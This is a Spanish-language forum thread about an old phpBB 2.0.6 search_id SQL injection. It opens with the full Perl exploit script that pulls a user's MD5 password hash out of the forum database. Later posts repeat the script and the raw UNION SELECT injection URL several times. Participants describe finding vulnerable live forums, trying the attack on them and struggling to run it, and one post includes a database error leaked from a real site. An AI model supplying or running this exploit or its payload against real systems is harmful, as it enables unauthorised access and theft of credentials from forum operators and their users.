Páginas: [1]
|
 |
|
Autor
|
Tema: PhpBB v2.06 search_id sql injection exploit (en perl, nuevo) (Leído 612 veces)
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
#!/usr/bin/perl -w use IO::Socket; ## PROOF-OF-CONCEPT ## * work only with mysql ver > 4.0 ## * work only with post #1 ## ## Example: ## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2 ## [~] prepare to connect... ## [+] connected ## [~] prepare to send data... ## [+] OK ## [~] wait for response... ## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99 ## if (@ARGV < 4) { print "\n\n"; print "|****************************************************************|\n"; print " r57phpbb.pl\n"; print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n"; print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n"; print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n"; print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n"; print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n"; print " [~] <server> - server ip\n"; print " [~] <folder> - forum folder\n"; print " [~] <user_id> - user id (2 default for phpBB admin)\n"; print " [~] <search_id> - play with this value for results\n"; print "|****************************************************************|\n"; print "\n\n"; exit(1); } $success = 0; $server = $ARGV[0]; $folder = $ARGV[1]; $user_id = $ARGV[2]; $search_id = $ARGV[3]; print "[~] prepare to connect...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "$socket error $!"; print "[+] connected\n"; print "[~] prepare to send data...\n"; # PROOF-OF-CONCEPT reguest... print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n"; print "[+] OK\n"; print "[~] wait for response...\n"; while ($answer = <$socket>) { if ($answer =~ /;highlight=/) { $success = 1; @result=split(/;/,$answer); @result2=split(/=/,$result[1]); $result2[1]=~s/&/ /g; print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; } } if ($success==0) {print "[-] exploit failed =(\n";} ## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
|
|
|
|
|
En línea
|
|
|
|
Heaven
Desconectado
Mensajes: 4
¡Amo YaBB SE!
|
hola !!! 1) para saber que un foro no es protegido se hace: http://www.elsitio.com/el_directorio/search.php?search_id=2\ Si da error es que es vulnerable, si no da error esta actualizado. 2) Pues bien, encontre un foro con ese error y al probar ese exploit me dice "exploit failed" Es decir ejecuta la parte del exploit: if {$success==0) {print "[-] exploit failed =(\n";} 3) Probe a insertar en la web la url que hay por aqui search.php?search_id=2%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=2/* y me carga una web que dice: Se encontraron 5 coincidencias Foro - Temas - Autor - Respuesas - Lecturas - Ultimo mensaje 4)¿ Me puede decir alguien que falla? - El exploit - La url - Yo Hace ya mucho que estoy intentandolo ... Saludos !!
|
|
|
|
|
En línea
|
|
|
|
punk
Desconectado
Mensajes: 4
¡Amo YaBB SE!
|
Bueno... supongo que ese xploit esta en perl.... el problema es que no recuerdo como correrlo en windows?
Alguien me podria ayudar?
|
|
|
|
|
En línea
|
|
|
|
oz
Desconectado
Mensajes: 6
¡Amo YaBB SE!
|
yo corri el mismo exploit en el internet explorer con un foro que yo mismo puse de prueba i lo que paso esque el primer post al averlo puesto yo, si me dio el hash pero una ves que borre ese primer post i puse otro post nuevo me da lo mismo encuentra simpre cinco resultados pero no los puedes ver no se porque razón pero el problema esta en que no nos esta dejando ver los demas post mas que el primero ya intente moverle varias veces i nada aver si alguien sabe algo para poder ver los demas post o si me pueden decir como usar el de asta arriba,saludos oz
|
|
|
|
|
En línea
|
|
|
|
punk
Desconectado
Mensajes: 4
¡Amo YaBB SE!
|
oye amigo oz, como le hiciste para poder correr el xploit en windows? Por ejemplo... yo cambie el codigo del xploit, ya que perl lo tengo en un directorio llamado FoxServ asi que el xploit queda asi: #!C:/FoxServ/perl/bin/perl.exe -w use IO::Socket; ## PROOF-OF-CONCEPT ## * work only with mysql ver > 4.0 ## * work only with post #1 ## ## Example: ## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2 ## [~] prepare to connect... ## [+] connected ## [~] prepare to send data... ## [+] OK ## [~] wait for response... ## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99 ## if (@ARGV < 4) { print "\n\n"; print "|****************************************************************|\n"; print " r57phpbb.pl\n"; print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n"; print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n"; print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n"; print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n"; print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n"; print " [~] <server> - server ip\n"; print " [~] <folder> - forum folder\n"; print " [~] <user_id> - user id (2 default for phpBB admin)\n"; print " [~] <search_id> - play with this value for results\n"; print "|****************************************************************|\n"; print "\n\n"; exit(1); } $success = 0; $server = $ARGV[0]; $folder = $ARGV[1]; $user_id = $ARGV[2]; $search_id = $ARGV[3]; print "[~] prepare to connect...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "$socket error $!"; print "[+] connected\n"; print "[~] prepare to send data...\n"; # PROOF-OF-CONCEPT reguest... print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n"; print "[+] OK\n"; print "[~] wait for response...\n"; while ($answer = <$socket>) { if ($answer =~ /;highlight=/) { $success = 1; @result=split(/;/,$answer); @result2=split(/=/,$result[1]); $result2[1]=~s/&/ /g; print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; } } if ($success==0) {print "[-] exploit failed =(\n";} ## o---[ RusH security team | www.rsteam.ru | 2003 ]---o Ahora.. el problema es que no lo corre, por ejemplo: voy a simbolo de sistema (ms-dos) y das la instruccion: C:/>xploit.pl 127.0.0.1 phpbb 2 2 y el resultado es que solo me abre el xploit pero en note pad y si activo el apache y lo corro desde el explorador me sale esto: |****************************************************************| r57phpbb.pl phpBB v<=2.06 search_id sql injection exploit (POC version) by RusH security team // www.rsteam.ru , http://rst.void.ru coded by f3sy1 & 1dt.w0lf // 16/12/2003 Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id> e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2 [~] <server> - server ip [~] <folder> - forum folder [~] <user_id> - user id (2 default for phpBB admin) [~] <search_id> - play with this value for results |****************************************************************| Osea solo las instrucciones. Me podrias decir como es que tu pudiste correr el xploit? Saludos!
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
El exploit pone claramente que solo funciona con el primer post... * work only with post #1
|
|
|
|
|
En línea
|
|
|
|
Heaven
Desconectado
Mensajes: 4
¡Amo YaBB SE!
|
Upss !!! perdon no me fije en lo del primer post ..
- Luego el foro que tengo visto sigue siendo vulnerable pero he de utilizar otro exploit ¿no?
- Y esto ... search.php?search_id=2%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=2/*
¿Tampoco sirve, solo es para el primer post? o ¿es independiente del post?
Saludos !!!
|
|
|
|
|
En línea
|
|
|
|
oz
Desconectado
Mensajes: 6
¡Amo YaBB SE!
|
Hola,punk disculpa si dije mal cual exploit el que yo estoy usando es este search.php?search_id=1%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20bb_users%20where%20user_id=2/* que no es el de perl pero volvemos a lo mismo son exploits que mientras no tengamos alguien que nos de una buena guia estamos sin suerte ya que este como el de perl nada mas funcionan con el post numero uno yo ya trate de modificarlo i no da resultados i en la actualidad nunca e encontrado un foro que todavia tenga el post uno osea que estos exploits son inservibles por el momento asta que alguien que sepa manejar bien las injectiones nos eche una mano lo malo esque yo no e encontrado a nadie que sepa bien,saludos Oz
|
|
|
|
|
En línea
|
|
|
|
punk
Desconectado
Mensajes: 4
¡Amo YaBB SE!
|
osea q si usamos este link: search.php?search_id=1%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20bb_users%20where%20user_id=2/* o este: search.php?search_id=1\ Se podria decir que el resultado: DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\\ AND session_id = 'b91301df1c796cc0d9e1b1a8c190e4c1''
SELECT search_array FROM phpbb_search_results WHERE search_id = 1\\ AND session_id = 'b91301df1c796cc0d9e1b1a8c190e4c1'
Line : 693 File : /home/oaxaka/public_html/mechanicalweb/search.php Podemos decir que lo q esta en negritas es el hash del user 1?
|
|
|
|
|
En línea
|
|
|
|
oz
Desconectado
Mensajes: 6
¡Amo YaBB SE!
|
hola punk ese no es el hash ese nada mas es un error de el database pero de nada sirve ya que no es ninguno de los passwords de los usarios.
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1]
|
|
|
|